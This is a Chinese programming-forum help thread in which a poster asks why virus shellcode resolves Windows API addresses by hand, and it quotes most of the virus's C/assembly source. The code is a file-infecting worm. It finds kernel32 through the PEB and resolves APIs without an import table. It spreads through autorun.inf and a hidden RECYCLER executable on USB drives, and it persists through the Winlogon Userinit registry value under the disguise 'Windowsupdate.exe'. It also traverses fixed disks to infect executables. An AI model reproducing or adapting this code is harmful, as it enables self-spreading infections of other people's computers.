VC驿站

 找回密码
 加入驿站

QQ登录

只需一步,快速开始

有编程疑问吗?还请到提问专区发帖提问!
搜索
查看: 986|回复: 8

[求助] 病毒调用函数一定要获取函数物理地址吗

[复制链接]
69_avatar_middle
在线会员 Four_glass 发表于 2017-7-15 12:08:29 | 显示全部楼层 |阅读模式
3驿站币
这是一个病毒的shellcode代码。
里面对 LoadLibraryA 和 GetProcAddress 函数是获取了物理地址吧?为什么一定要获取物理地址调用呢,不能像普通的程序那样加载库什么的来调用呢?
  1. /* ************************************
  2. *
  3. * 功能 注入到svchost的执行代码
  4. * 说明 这里的代码比较特征,代码通过自己获得API函数,没有输入表,所以编码要避免用到没有获得地址的API,或编译器可能会加上其它的API,否则代码失去独立性。
  5. *
  6. **************************************/
  7. #include <Windows.h>
  8. #include <stdio.h>
  9. #include "DataStruct.h"
  10. #pragma comment(linker,"/merge:.data=.text")
  11. #pragma comment(linker,"/merge:.rdata=.text")
  12. #pragma comment(linker, "/SECTION:.text,REW")

  13. #define SHELLCODE_ENTRYPOINT_RVA 0x1FF
  14. /*函数声明*/
  15. VOID InitFunction();
  16. DWORD WINAPI InfecteHardDisk(LPVOID lpParameter);
  17. DWORD WINAPI SetRegAuto(LPVOID lpParameter);
  18. DWORD ListAllFileInDrectory(LPSTR szPath);
  19. BOOL AddSection(const TCHAR szFilePath[]);
  20. BOOL RelocateShellCode(PVOID pVoid,DWORD virtualAddress,DWORD dwImageBase);//硬盘感染
  21. DWORD WINAPI InfectRemoveDisk(LPVOID lpParameter);//移动硬盘感染
  22. BOOL CreateAutoRunFile(TCHAR*);
  23. /*ShellCode重定位信息,要重定位的相对偏移地址*/
  24. #define NUMBEROFPOINT 19
  25. DWORD g_dwRolcatePoint[19]={0x1F1,0x215,0x249,0x259,0x291,0x298,0x2E6,0x2EE,0x2F8,0x303,0x30E,0x319,0x324,0x32F,0x34d,0x371,0x37b,0x2dc,0x40d};
  26. DWORD g_dwOrientryPoint_Point=0x20;//原来入口点
  27. DWORD g_dwMatrix_Size_Point=0x3D7;//填入母体大小
  28. DWORD g_dwMatrix_Site_Point=0x3DE;//填入母体位置
  29.          /*如果shellcode和注入代码变动可修改*/
  30. DWORD SHELLCODE_SIZE=0x420; //这里是这个值
  31. DWORD INJECT_SIZE=0x1500; //确定
  32. DWORD IMAGEBASE =0x20011000; //确定
  33.          /*下面值自动计算*/
  34. DWORD g_dwMap_size=0x10000;//初始化测试
  35. DWORD g_dwMatrix_size=0xBE00; //初始化测试
  36. /*全局变量*/
  37. PVOID g_pMatrixVA=0;//母体映射的基址
  38. PVOID g_pShellCodeVA=0;//shellcode地址,这里要填入
  39. TCHAR g_szMatrixPath[]="C:\\Program Files\\Microsoft\\Windowsupdate.exe";
  40. DWORD g_dwOrientryPoint=0;//保存原来的入口地址
  41. DWORD g_kernel32_BaseAddr=0;//kernel32.dll基址
  42. BOOL g_AllHardDiskFileInfecteYesNo=FALSE;//是否全盘感染结束
  43. /*自定义api函数*/
  44.     /*Kernel.dll*/
  45. TCHAR szKernel32[]="Kernel32.dll";
  46. TCHAR szLoadLibrary[]="LoadLibraryA";
  47. TCHAR szGetProcAddress[]="GetProcAddress";
  48. TCHAR szCreateFileA[]="CreateFileA";
  49. TCHAR szCreateFileMappingA[]="CreateFileMappingA";
  50. TCHAR szCloseHandle[]="CloseHandle";
  51. TCHAR szMapViewOfFile[]="MapViewOfFile";
  52. TCHAR szFindFirstFileA[]= "FindFirstFileA";
  53. TCHAR szFindNextFileA[]= "FindNextFileA";
  54. TCHAR szSleep[]= "Sleep";
  55. TCHAR szGetFileSize[]= "GetFileSize";
  56. TCHAR szVirtualAlloc[]= "VirtualAlloc";
  57. TCHAR szFlushViewOfFile[]= "FlushViewOfFile";
  58. TCHAR szUnmapViewOfFile[]= "UnmapViewOfFile";
  59. TCHAR szCreateMutexA[]= "CreateMutexA";
  60. TCHAR szVirtualFree[]= "VirtualFree";
  61. TCHAR szlstrcmpA[]= "lstrcmpA";
  62. TCHAR szlstrcmpiA[]= "lstrcmpiA";
  63. TCHAR szCreateThread[]="CreateThread";
  64. TCHAR szSetThreadPriority[]="SetThreadPriority";
  65. TCHAR szGetDiskFreeSpaceExA[]="GetDiskFreeSpaceExA";
  66. TCHAR szGetDriveTypeA[]="GetDriveTypeA";
  67. TCHAR szGetCurrentThread[]="GetCurrentThread";
  68. TCHAR szGetThreadContext[]="GetThreadContext";
  69. TCHAR szGetLogicalDriveStringsA[]="GetLogicalDriveStringsA";
  70. TCHAR szFindClose[]="FindClose";
  71. TCHAR szWriteFile[]="WriteFile";
  72.      /*Advapi32.dll*/
  73. TCHAR szAdvapi32[]="Advapi32.dll";
  74. TCHAR szRegOpenKeyExA[]= "RegOpenKeyExA";
  75. TCHAR szRegQueryValueExA[]= "RegQueryValueExA";
  76. TCHAR szRegSetValueExA[]= "RegSetValueExA";

  77. _LoadLibrary MyLoadLibrary=(_LoadLibrary)0xBBBBBBBB;
  78. _GetProcAddress MyGetProcAddress=(_GetProcAddress)0xBBBBBBBB;
  79. _CreateFile MyCreateFile=(_CreateFile)0xBBBBBBBB;
  80. _CreateFileMapping MyCreateFileMapping=(_CreateFileMapping)0xBBBBBBBB;
  81. _CloseHandle MyCloseHandle=(_CloseHandle)0xBBBBBBBB;
  82. _MapViewOfFile MyMapViewOfile=(_MapViewOfFile)0xBBBBBBBB;
  83. _FindFirstFile MyFindFirstFile=(_FindFirstFile)0xBBBBBBBB;
  84. _FindNextFile MyFindNextFile=(_FindNextFile)0xBBBBBBBB;
  85. _Sleep MySleep=(_Sleep)0xBBBBBBBB;
  86. _GetFileSize MyGetFileSize=(_GetFileSize)0xBBBBBBBB;
  87. _VirtualAlloc MyVirtualAlloc=(_VirtualAlloc)0xBBBBBBBB;
  88. _FlushViewOfFile MyFlushViewOfFile=(_FlushViewOfFile)0xBBBBBBBB;
  89. _UnmapViewOfFile MyUnmapViewOfFile=(_UnmapViewOfFile)0xBBBBBBBB;
  90. _CreateMutex MyCreateMutex=(_CreateMutex)0xBBBBBBBB;
  91. _VirtualFree MyVirtualFree=(_VirtualFree)0xBBBBBBBB;
  92. _lstrcmp Mylstrcmp=(_lstrcmp)0xBBBBBBBB;
  93. _lstrcmpi Mylsrcmpi=(_lstrcmpi)0xBBBBBBBB;
  94. _CreateThread MyCreateThread=(_CreateThread)0xBBBBBBBB;
  95. _SetThreadPriority MySetThreadPriority=(_SetThreadPriority)0xBBBBBBBB;
  96. _GetDiskFreeSpaceEx MyGetDiskFreeSpaceEx=(_GetDiskFreeSpaceEx)0xBBBBBBBB;
  97. _GetDriveType MyGetDriveType=(_GetDriveType)0xBBBBBBBB;
  98. _GetCurrentThread MyGetCurrentThread=(_GetCurrentThread)0xBBBBBBBB;
  99. _GetThreadContext MyGetThreadContext=(_GetThreadContext)0xBBBBBBBB;
  100. _GetLogicalDriveStrings MyGetLogicalDriveStrings=(_GetLogicalDriveStrings)0xBBBBBBBB;
  101. _FindClose MyFindClose=(_FindClose)0xBBBBBBBB;
  102. _WriteFile MyWriteFile=(_WriteFile)0xBBBBBBBB;

  103. _RegOpenKeyEx MyRegOpenKeyEx=(_RegOpenKeyEx)0xBBBBBBBB;
  104. _RegQueryValueEx MyRegQueryValueEx=(_RegQueryValueEx)0xBBBBBBBB;
  105. _RegSetValueEx MyRegSetValueEx=(_RegSetValueEx)0xBBBBBBBB;

  106. const TCHAR g_szAutoRunFileData[]="[autorun]\r\naction=Open \r\nshellexecute=.\\RECYCLER\\OKEfRYff.exe \r\nshell\\explore\\command=.\\RECYCLER\\OKEfRYff.exe";
  107. /* ************************************
  108. * DWORD WINAPI InfecteHardDisk(LPVOID lpParameter)
  109. * 功能 感染硬盘线程
  110. * 参数 无
  111. **************************************/
  112. void StartInject(){
  113.         HANDLE hMatrix;
  114.         HANDLE hMatrixMapping;
  115.         DWORD dwThreadId=0;
  116.         BOOL bValue=0;
  117.         HANDLE hMutex;
  118.         HANDLE hInfecteHardDisk;
  119.         HANDLE hSetRegAuto;
  120.         HANDLE hInfectRemoveDisk;
  121.         InitFunction();//通过
  122.         hMutex=MyCreateMutex(NULL,FALSE,"MY_SYSTEM_DEMETRA_MAIN");
  123.         if (NULL==hMutex)
  124.         {
  125.                 return;
  126.         }
  127.         /*映射母体,和到母体大小*/
  128.         hMatrix=MyCreateFile(g_szMatrixPath,GENERIC_READ,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
  129.         if (INVALID_HANDLE_VALUE==hMatrix)
  130.         {
  131.                 return;
  132.         }
  133.         hMatrixMapping=MyCreateFileMapping(hMatrix,0,PAGE_READONLY,0,0,NULL);
  134.         if (NULL==hMatrixMapping)
  135.         {
  136.                 MyCloseHandle(hMatrix);
  137.                 return;
  138.         }
  139.         g_pMatrixVA=MyMapViewOfile(hMatrixMapping,FILE_MAP_READ,0,0,0);
  140.         if (NULL==g_pMatrixVA)
  141.         {
  142.                 MyCloseHandle(hMatrix);
  143.                 return;
  144.         }
  145.         g_dwMatrix_size=MyGetFileSize(hMatrix,0);
  146.         MyCloseHandle(hMatrix);
  147.         MyCloseHandle(hMatrixMapping);
  148.        
  149.         hInfecteHardDisk=MyCreateThread(NULL,0,InfecteHardDisk,NULL,0,&dwThreadId);
  150.         MySetThreadPriority(hInfecteHardDisk,THREAD_PRIORITY_LOWEST);
  151.         hSetRegAuto=MyCreateThread(NULL,0,SetRegAuto,NULL,0,&dwThreadId);
  152.         MySetThreadPriority(hSetRegAuto,THREAD_PRIORITY_LOWEST);
  153.         hInfectRemoveDisk=MyCreateThread(NULL,0,InfectRemoveDisk,NULL,0,&dwThreadId);
  154.         MySetThreadPriority(hInfectRemoveDisk,THREAD_PRIORITY_LOWEST);
  155.         MyCloseHandle(hInfectRemoveDisk);
  156.         MyCloseHandle(hSetRegAuto);
  157.         MyCloseHandle(hInfecteHardDisk);
  158.         while (1)
  159.         {
  160.                 /*to do something!*/
  161.                 MySleep(100000);
  162.         }
  163. }
  164. //得到kernel32.exe基址
  165. __declspec(naked) void getKernel32(){
  166.                 __asm{
  167.                         mov eax,fs:[0x30]
  168.                         mov eax,[eax+0xc]
  169.                         mov esi,[eax+0x1c]
  170.                         lods dword ptr ds:[esi]
  171.                         mov eax,[eax+0x8]
  172.                         mov g_kernel32_BaseAddr,eax
  173.                                 ret
  174.                 }
  175. }
  176. /* ************************************
  177. * VOID InitFunction()
  178. * 功能 初始化得到所需的API
  179. * 参数 无
  180. **************************************/
  181. VOID InitFunction(){
  182.         TCHAR* szFunName;
  183.         TCHAR* szSrcString;
  184.         PIMAGE_EXPORT_DIRECTORY pImage_export_directory;
  185.         DWORD PE_RVA;
  186.         int NumberOfFunctions=0;
  187.         DWORD AddressOfNames;
  188.         HMODULE hKernel32;
  189.         HMODULE kAdvapi32;
  190.         getKernel32();

  191.         PE_RVA=*((DWORD*)(g_kernel32_BaseAddr+0x3c));
  192.         pImage_export_directory=(PIMAGE_EXPORT_DIRECTORY)((*((DWORD*)(g_kernel32_BaseAddr+PE_RVA+0x78)))+g_kernel32_BaseAddr);//得到输出表VA
  193.         NumberOfFunctions=pImage_export_directory->NumberOfFunctions;//导出个数
  194.         AddressOfNames=pImage_export_directory->AddressOfNames+g_kernel32_BaseAddr;//名字地址VA
  195.         /*得到LoadLibraryA和GetProcAddress的地址*/
  196.         for (int i=0;i<NumberOfFunctions;i++)
  197.         {
  198.                 szFunName=(TCHAR*)(*((DWORD*)(AddressOfNames+i*4))+g_kernel32_BaseAddr);//指向导出函数名字地址
  199.                 szSrcString=szLoadLibrary;
  200.                 for(;*szSrcString==*szFunName && *szSrcString!=0;++szSrcString,++szFunName);
  201.                 if (!(*szFunName-*szSrcString))//是否相等
  202.                 {
  203.                         MyLoadLibrary=(_LoadLibrary)(*(((DWORD*)(pImage_export_directory->AddressOfFunctions+g_kernel32_BaseAddr))+i)+g_kernel32_BaseAddr);//得到地址
  204.                 }
  205.                 szFunName=(TCHAR*)(*((DWORD*)(AddressOfNames+i*4))+g_kernel32_BaseAddr);//指向导出函数名字地址
  206.                 szSrcString=szGetProcAddress;
  207.                 for(;*szSrcString==*szFunName && *szSrcString!=0;++szSrcString,++szFunName);
  208.                 if (!(*szFunName-*szSrcString))//是否相等
  209.                 {
  210.                         MyGetProcAddress=(_GetProcAddress)(*(((DWORD*)(pImage_export_directory->AddressOfFunctions+g_kernel32_BaseAddr))+i)+g_kernel32_BaseAddr);//得到地址
  211.                 }
  212.         }
  213.        
  214.         hKernel32=MyLoadLibrary(szKernel32);
  215.         MyCreateFile=(_CreateFile)MyGetProcAddress(hKernel32,szCreateFileA);
  216.         MyCreateFileMapping=(_CreateFileMapping)MyGetProcAddress(hKernel32,szCreateFileMappingA);
  217.         MyCloseHandle=(_CloseHandle)MyGetProcAddress(hKernel32,szCloseHandle);
  218.         MyMapViewOfile=(_MapViewOfFile)MyGetProcAddress(hKernel32,szMapViewOfFile);
  219.         MyFindFirstFile=(_FindFirstFile)MyGetProcAddress(hKernel32,szFindFirstFileA);
  220.         MyFindNextFile=(_FindNextFile)MyGetProcAddress(hKernel32,szFindNextFileA);
  221.         MySleep=(_Sleep)MyGetProcAddress(hKernel32,szSleep);
  222.         MyGetFileSize=(_GetFileSize)MyGetProcAddress(hKernel32,szGetFileSize);
  223.         MyVirtualAlloc=(_VirtualAlloc)MyGetProcAddress(hKernel32,szVirtualAlloc);
  224.         MyFlushViewOfFile=(_FlushViewOfFile)MyGetProcAddress(hKernel32,szFlushViewOfFile);
  225.         MyUnmapViewOfFile=(_UnmapViewOfFile)MyGetProcAddress(hKernel32,szUnmapViewOfFile);
  226.         MyCreateMutex=(_CreateMutex)MyGetProcAddress(hKernel32,szCreateMutexA);
  227.         MyVirtualFree=(_VirtualFree)MyGetProcAddress(hKernel32,szVirtualFree);
  228.         Mylstrcmp=(_lstrcmp)MyGetProcAddress(hKernel32,szlstrcmpA);
  229.         Mylsrcmpi=(_lstrcmpi)MyGetProcAddress(hKernel32,szlstrcmpiA);
  230.         MyCreateThread=(_CreateThread)MyGetProcAddress(hKernel32,szCreateThread);
  231.         MySetThreadPriority=(_SetThreadPriority)MyGetProcAddress(hKernel32,szSetThreadPriority);
  232.         MyGetDiskFreeSpaceEx=(_GetDiskFreeSpaceEx)MyGetProcAddress(hKernel32,szGetDiskFreeSpaceExA);
  233.         MyGetDriveType=(_GetDriveType)MyGetProcAddress(hKernel32,szGetDriveTypeA);
  234.         MyGetCurrentThread=(_GetCurrentThread)MyGetProcAddress(hKernel32,szGetCurrentThread);
  235.         MyGetThreadContext=(_GetThreadContext)MyGetProcAddress(hKernel32,szGetThreadContext);
  236.         MyGetLogicalDriveStrings=(_GetLogicalDriveStrings)MyGetProcAddress(hKernel32,szGetLogicalDriveStringsA);
  237.         MyFindClose=(_FindClose)MyGetProcAddress(hKernel32,szFindClose);
  238.         MyWriteFile=(_WriteFile)MyGetProcAddress(hKernel32,szWriteFile);

  239.         kAdvapi32=MyLoadLibrary(szAdvapi32);
  240.         MyRegOpenKeyEx=(_RegOpenKeyEx)MyGetProcAddress(kAdvapi32,szRegOpenKeyExA);
  241.         MyRegQueryValueEx=(_RegQueryValueEx)MyGetProcAddress(kAdvapi32,szRegQueryValueExA);
  242.         MyRegSetValueEx=(_RegSetValueEx)MyGetProcAddress(kAdvapi32,szRegSetValueExA);
  243.         return;
  244. }

  245. /*自实现部分库函数*/
  246. void *MyMemcpy(PVOID dest,PVOID src, size_t count)
  247. {
  248.         BYTE *tmp = (BYTE*)dest;
  249.         const BYTE *s = (BYTE*)src;
  250.         while (count--)
  251.                 *tmp++ = *s++;
  252.         return dest;
  253. }
  254. TCHAR *MyStrcat(TCHAR *str1, TCHAR *str2)  
  255. {  
  256.         if((str1==NULL)||(str2==NULL)) return 0;
  257.         TCHAR *pt = str1;  
  258.         while(*str1!='\0') str1++;  
  259.         while(*str2!='\0') *str1++ = *str2++;  
  260.         *str1 = '\0';  
  261.         return pt;  
  262. }
  263. TCHAR * MyStrcpy(TCHAR* dest, const TCHAR * src)
  264. {
  265.         if(NULL == dest && NULL == src) {
  266.                 return NULL;
  267.         }
  268.         while((*dest++ = *src++) != '\0');
  269.         return dest;
  270. }
  271. TCHAR* MyStrstr(const TCHAR *s1,const TCHAR *s2){
  272.         int n;
  273.         if (*s2)
  274.         {
  275.                 while(*s1){
  276.                         for (n=0;*(s1+n)==*(s2+n);n++)
  277.                         {
  278.                                 if (!*(s2+n+1))
  279.                                         return (TCHAR *) s1;
  280.                         }
  281.                         s1++;
  282.                 }
  283.                 return NULL;
  284.         }else
  285.                 return (TCHAR*) s1;
  286. }
  287. int MyStrlen(TCHAR* str){
  288.         int n=0;
  289.         for (;*str!='\0';++str,++n);
  290.         return n;
  291. }
  292. void MyZeroMemory(BYTE * dst,size_t Length){ /* 此种写法是为了躲避编译加上memset函数*/
  293.         BYTE *byTemp=dst;
  294.         for (UINT i=0;i<Length;i++)
  295.         {
  296.                 *(dst++)=i;
  297.         }
  298.         for(UINT i=0;i<Length;i++){
  299.                 *(byTemp++)-=i;
  300.         }
  301. }

  302. /* ************************************
  303. * DWORD WINAPI InfectRemoveDisk(LPVOID lpParameter)
  304. * 功能 在移动硬盘创建自动运行文件
  305. * 参数 无
  306. **************************************/
  307. DWORD WINAPI InfectRemoveDisk(LPVOID lpParameter){
  308.         TCHAR lpBuffer[100];
  309.         TCHAR* lpBufferPoint=lpBuffer;
  310.         DWORD64 lpFreeBytesAvailable=0;
  311.         DWORD64 lpTotalNumberOfBytes=0;
  312.         DWORD64 lpTotalNumberOfFreeBytes=0;
  313.         UINT nDriveType=0;
  314.         while(1){
  315.                 MyZeroMemory((BYTE*)lpBuffer,100);
  316.                 MyGetLogicalDriveStrings(100,lpBuffer);
  317.                 do
  318.                 {
  319.                         nDriveType=MyGetDriveType(lpBufferPoint);
  320.                         if (DRIVE_REMOVABLE!=nDriveType || !Mylsrcmpi(lpBufferPoint,"A:\"))//排除A盘
  321.                         {
  322.                                 continue;
  323.                         }else{
  324.                                 MyGetDiskFreeSpaceEx(lpBufferPoint,(PULARGE_INTEGER)&lpFreeBytesAvailable,(PULARGE_INTEGER)&lpTotalNumberOfBytes,(PULARGE_INTEGER)&lpTotalNumberOfFreeBytes);
  325.                                 if (lpTotalNumberOfBytes>0x80000)
  326.                                 {
  327.                                         /*printf("感染:%s\n",lpBufferPoint);*/
  328.                                         CreateAutoRunFile(lpBufferPoint);//写入autorun.inf
  329.                                 }
  330.                         }

  331.                 } while (lpBufferPoint+=4,0!=*lpBufferPoint);
  332.                 MySleep(5000);//每隔5秒继续检查有无移动硬盘插入
  333.                 lpBufferPoint=lpBuffer;
  334.         }
  335.         return 0;
  336. }
  337. /* ************************************
  338. * BOOL CreateAutoRunFile(TCHAR* szPath)
  339. * 功能 写入自动运行文件
  340. * 参数 无
  341. **************************************/
  342. BOOL CreateAutoRunFile(TCHAR* szPath)
  343. {
  344.         HANDLE hAutoFile;
  345.         TCHAR szFilePath[30];
  346.         DWORD numberOfBytesWritten;
  347.         BOOL bValue=FALSE;
  348.         MyStrcpy(szFilePath,szPath);
  349.         MyStrcat(szFilePath,"autorun.inf");
  350.         hAutoFile=MyCreateFile(szFilePath,GENERIC_READ | GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN,0);
  351.         if (INVALID_HANDLE_VALUE==hAutoFile)
  352.         {
  353.                 return FALSE;
  354.         }
  355.         bValue=MyWriteFile(hAutoFile,g_szAutoRunFileData,sizeof(g_szAutoRunFileData),&numberOfBytesWritten,0);
  356.         MyCloseHandle(hAutoFile);//关句柄
  357.         hAutoFile=NULL;
  358.         if (!bValue)
  359.         {
  360.                 return FALSE;
  361.         }
  362.         MyStrcpy(szFilePath,szPath);
  363.         MyStrcat(szFilePath,"RECYCLER");
  364.         if(CreateDirectory(szFilePath,FALSE)){
  365.                 SetFileAttributes(szFilePath,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
  366.                 MyStrcat(szFilePath,"\\OKEfRYff.exe");
  367.                 hAutoFile=MyCreateFile(szFilePath,GENERIC_READ | GENERIC_WRITE,0,0,CREATE_NEW,FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN,0);
  368.                 if (INVALID_HANDLE_VALUE==hAutoFile)
  369.                 {
  370.                         return FALSE;
  371.                 }else{
  372.                         bValue=MyWriteFile(hAutoFile,g_pMatrixVA,g_dwMatrix_size,&numberOfBytesWritten,0);
  373.                 }
  374.                 MyCloseHandle(hAutoFile);//关句柄
  375.         }
  376.         return bValue;
  377. }

  378. /* ************************************
  379. * DWORD WINAPI InfecteHardDisk(LPVOID lpParameter)
  380. * 功能 感染PE文件线程
  381. * 参数 无
  382. **************************************/
  383. DWORD WINAPI InfecteHardDisk(LPVOID lpParameter){
  384.         TCHAR lpBuffer[100];//不相信一个电脑有超过26个盘符
  385.         TCHAR *lpBufferPoint=lpBuffer;
  386.         DWORD64 lpFreeBytesAvailable=0;
  387.         DWORD64 lpTotalNumberOfBytes=0;
  388.         DWORD64 lpTotalNumberOfFreeBytes=0;
  389.         UINT nDriveType=0;

  390.         /*找到ShellCode内存中的位置*/
  391.         DWORD* pData=(DWORD*)(IMAGEBASE+INJECT_SIZE);
  392.         for (;*pData!=0xAAAAAAAA;pData++);//以0xAAAAAAAA为标志
  393.         g_pShellCodeVA=(PVOID)(pData+1);

  394.         MyZeroMemory((BYTE*)lpBuffer,100);
  395.         MyGetLogicalDriveStrings(100,lpBuffer);//得到逻辑盘符
  396.         do
  397.         {       
  398.                 nDriveType=MyGetDriveType(lpBufferPoint);//只感染硬盘
  399.                 if (DRIVE_FIXED!=nDriveType)
  400.                 {
  401.                         continue;
  402.                 }
  403.                 MyGetDiskFreeSpaceEx(lpBufferPoint,(PULARGE_INTEGER)&lpFreeBytesAvailable,(PULARGE_INTEGER)&lpTotalNumberOfBytes,(PULARGE_INTEGER)&lpTotalNumberOfFreeBytes);
  404.                 if (lpTotalNumberOfBytes>0x80000)
  405.                 {
  406.                         ListAllFileInDrectory(lpBufferPoint);//遍历文件树
  407.                 }
  408.         } while (lpBufferPoint+=4,0!=*lpBufferPoint);
  409.         g_AllHardDiskFileInfecteYesNo=TRUE;
  410.         return 1;
  411. }

  412. /**********************************************************
  413. * DWORD WINAPI SetRegAuto(LPVOID lpParameter)
  414. * 功能 创建自启动
  415. * 参数 为0
  416. /**********************************************************/
  417. DWORD WINAPI SetRegAuto(LPVOID lpParameter){
  418.         HKEY hMainKey=HKEY_LOCAL_MACHINE;   //主键
  419.         HKEY hKey=0;              //键
  420.         ULONG retunValue;
  421.         LPCTSTR lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon";//子键
  422.         LPCTSTR cString="C:\\Program Files\\Microsoft\\Windowsupdate.exe";//文件目录
  423.         LPCTSTR lpValueName="Userinit"; //值名
  424.         BYTE lpValue[MAX_PATH];
  425.         DWORD sizeOfReaded;
  426.         DWORD dateType;
  427.         MyZeroMemory((BYTE*)lpValue,MAX_PATH);
  428.         while (1)
  429.         {
  430.                 retunValue=MyRegOpenKeyEx(hMainKey,lpSubKey,0,KEY_ALL_ACCESS,&hKey);
  431.                 if(retunValue!=ERROR_SUCCESS) continue;
  432.                 retunValue=MyRegQueryValueEx(hKey,lpValueName,0,&dateType,lpValue,&sizeOfReaded);
  433.                 if (retunValue!=ERROR_SUCCESS) {continue;}
  434.                 TCHAR* chReturn=MyStrstr(( TCHAR*)lpValue,(TCHAR *)cString);
  435.                 if (NULL==chReturn)
  436.                 {
  437.                         MyStrcat((TCHAR*)lpValue,",");
  438.                         MyStrcat((TCHAR *)lpValue,(TCHAR *)cString);
  439.                         MyRegSetValueEx(hKey,lpValueName,0,dateType,lpValue,MyStrlen((TCHAR*)lpValue));
  440.                 }
  441.                 MySleep(3000);
  442.         }
  443.         return 0;
  444. }

  445. /**********************************************************
  446. * 类class Stack_String ,class Stack_Handle
  447. * 功能 在堆上模拟栈的实现。Stack_String是保存路径栈类, Stack_Handle保存句柄栈类
  448. /**********************************************************/
  449. class Stack_String   
  450. {
  451. private:
  452.         TCHAR** pStack;
  453.         PVOID pString;
  454.         PVOID pAddress;
  455.         UINT nTop;
  456. public:
  457.         Stack_String()//初始化
  458.         {
  459.                 nTop=0;
  460.                 pAddress=MyVirtualAlloc(0,0x1000,MEM_COMMIT,PAGE_READWRITE);//最大深度为1024,很难相信计算机会超过这个嵌套的。
  461.                 pString=MyVirtualAlloc(0,0x6000,MEM_COMMIT,PAGE_READWRITE);//24KB堆空间保存嵌套路径。
  462.                 if (pAddress!=NULL)
  463.                 {
  464.                         pStack=(TCHAR**)pAddress;
  465.                         if (pString!=NULL)
  466.                         {
  467.                                 pStack[0]=(TCHAR*)pString;
  468.                         }
  469.                 }else{
  470.                         return;
  471.                 }
  472.         }
  473.         ~Stack_String()//释放资源
  474.         {
  475.                 if (pAddress!=0)
  476.                 {
  477.                         MyVirtualFree(pAddress,0x1000,MEM_DECOMMIT);
  478.                 }
  479.                 if (pString!=0)
  480.                 {
  481.                         MyVirtualFree(pString,0x10000,MEM_DECOMMIT);
  482.                 }
  483.         }
  484.         BOOL pop()//进栈
  485.         {
  486.                 if (0!=nTop)
  487.                 {
  488.                         --nTop;
  489.                         return TRUE;
  490.                 }else return FALSE;
  491.         }
  492.         BOOL push(TCHAR * szPath)//出栈
  493.         {
  494.                 if(MyStrcpy((pStack[nTop]),szPath)){
  495.                         pStack[nTop+1]=(TCHAR*)((DWORD)(pStack[nTop])+MyStrlen(szPath)+1);
  496.                         ++nTop;
  497.                         return TRUE;
  498.                 }else return FALSE;
  499.         }
  500.         TCHAR* top()//栈顶
  501.         {
  502.                 if (0!=nTop)
  503.                 {
  504.                         return pStack[nTop-1];
  505.                 }else return 0;
  506.         }
  507. };
  508. class Stack_Handle{
  509. private:
  510.         HANDLE* pStack;
  511.         PVOID pAddress;
  512.         UINT nTop;
  513. public:
  514.         Stack_Handle(){
  515.                 nTop=0;
  516.                 pAddress=MyVirtualAlloc(0,0x1000,MEM_COMMIT,PAGE_READWRITE);//最大深度为1024,基本上计算机没有超过这个嵌套的。
  517.                 if (pAddress!=NULL)
  518.                 {
  519.                         pStack=(HANDLE*)pAddress;
  520.                 }
  521.         }
  522.         ~Stack_Handle(){//释放资源
  523.                 if (pAddress!=NULL)
  524.                 {
  525.                         MyVirtualFree(pAddress,0x1000,MEM_DECOMMIT);
  526.                 }
  527.         }
  528.         BOOL push(HANDLE hInput){
  529.                 pStack[nTop]=hInput;
  530.                 ++nTop;
  531.                 return TRUE;
  532.         }
  533.         BOOL pop(HANDLE *hInput){
  534.                 if (nTop!=0)
  535.                 {
  536.                         --nTop;
  537.                         *hInput=pStack[nTop];
  538.                         return TRUE;
  539.                 }else return FALSE;
  540.         }
  541.         HANDLE top(){
  542.                 if (nTop!=0)
  543.                 {
  544.                         return pStack[nTop-1];
  545.                 }else return 0;
  546.         }
  547. };
  548. /* ************************************
  549. * DWORD ListAllFileInDrectory(LPSTR szPath)
  550. * 功能        非递归遍历目录及所有子目录
  551. * 参数        LPTSTR szPath,为需遍历的目录
  552. * 说明  采用非递归遍历文件树,避免了栈溢出。非递归遍历要用到stack,但stack<>容器,生成可执行文件时依赖其它库函数,比如要检测栈溢出等。
  553. *       代码不能独立。所以只能自封装两个stack类,Stack_String,Stack_Handle供使用。
  554. *      
  555. **************************************/
  556. DWORD ListAllFileInDrectory(LPSTR szPath)//非递归遍历文件树
  557. {
  558.         Stack_String  find_file; //路径栈
  559.         Stack_Handle stack_hFileList; //句柄栈
  560.         WIN32_FIND_DATA FindFileData; //
  561.         HANDLE hListFile=NULL;
  562.         TCHAR szFilePath[MAX_PATH];
  563.         MyStrcpy(szFilePath,szPath);
  564.         stack_hFileList.push(0);
  565.         if (szFilePath[MyStrlen(szFilePath)-1]=='\\')
  566.         {
  567.                 szFilePath[MyStrlen(szFilePath)-1]=0;
  568.         }
  569.         find_file.push(szFilePath);
  570.         MyStrcat(szFilePath,"\\*");
  571.         hListFile=MyFindFirstFile(szFilePath,&FindFileData);
  572.         do         //两个循环实现遍历
  573.         {
  574.                 do
  575.                 {
  576.                         if(INVALID_HANDLE_VALUE == hListFile)
  577.                                 return 0;
  578.                         if (!*FindFileData.cFileName)
  579.                         {
  580.                                 continue;
  581.                         }else
  582.                         {
  583.                                 if(Mylstrcmp(FindFileData.cFileName,TEXT("."))==0||
  584.                                         Mylstrcmp(FindFileData.cFileName,TEXT(".."))==0)
  585.                                 {
  586.                                         continue;
  587.                                 }
  588.                                 MyStrcpy(szFilePath,find_file.top());
  589.                                 MyStrcat(szFilePath,"\");
  590.                                 MyStrcat(szFilePath,FindFileData.cFileName);
  591.                                 if(FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
  592.                                 {
  593.                                         if (!(Mylsrcmpi(szFilePath,"C:\\windows")) ||
  594.                                                 MyStrstr(szFilePath,"Windows NT") ||
  595.                                                 MyStrstr(szFilePath,"Recycled") ||
  596.                                                 MyStrstr(szFilePath,"WindowsUpdate") ||
  597.                                                 MyStrstr(szFilePath,"Common Files") ||
  598.                                                 MyStrstr(szFilePath,"ComPlus Applications") ||
  599.                                                 MyStrstr(szFilePath,"Internet Explorer") ||
  600.                                                 MyStrstr(szFilePath,"System Volume Information") ||
  601.                                                 MyStrstr(szFilePath,"NetMeeting") ||
  602.                                                 MyStrstr(szFilePath,"Documents and Settings") ||
  603.                                                 MyStrstr(szFilePath,"Windows Media Player") ||

  604.                                                 MyStrstr(szFilePath,"Outlook Express") ||
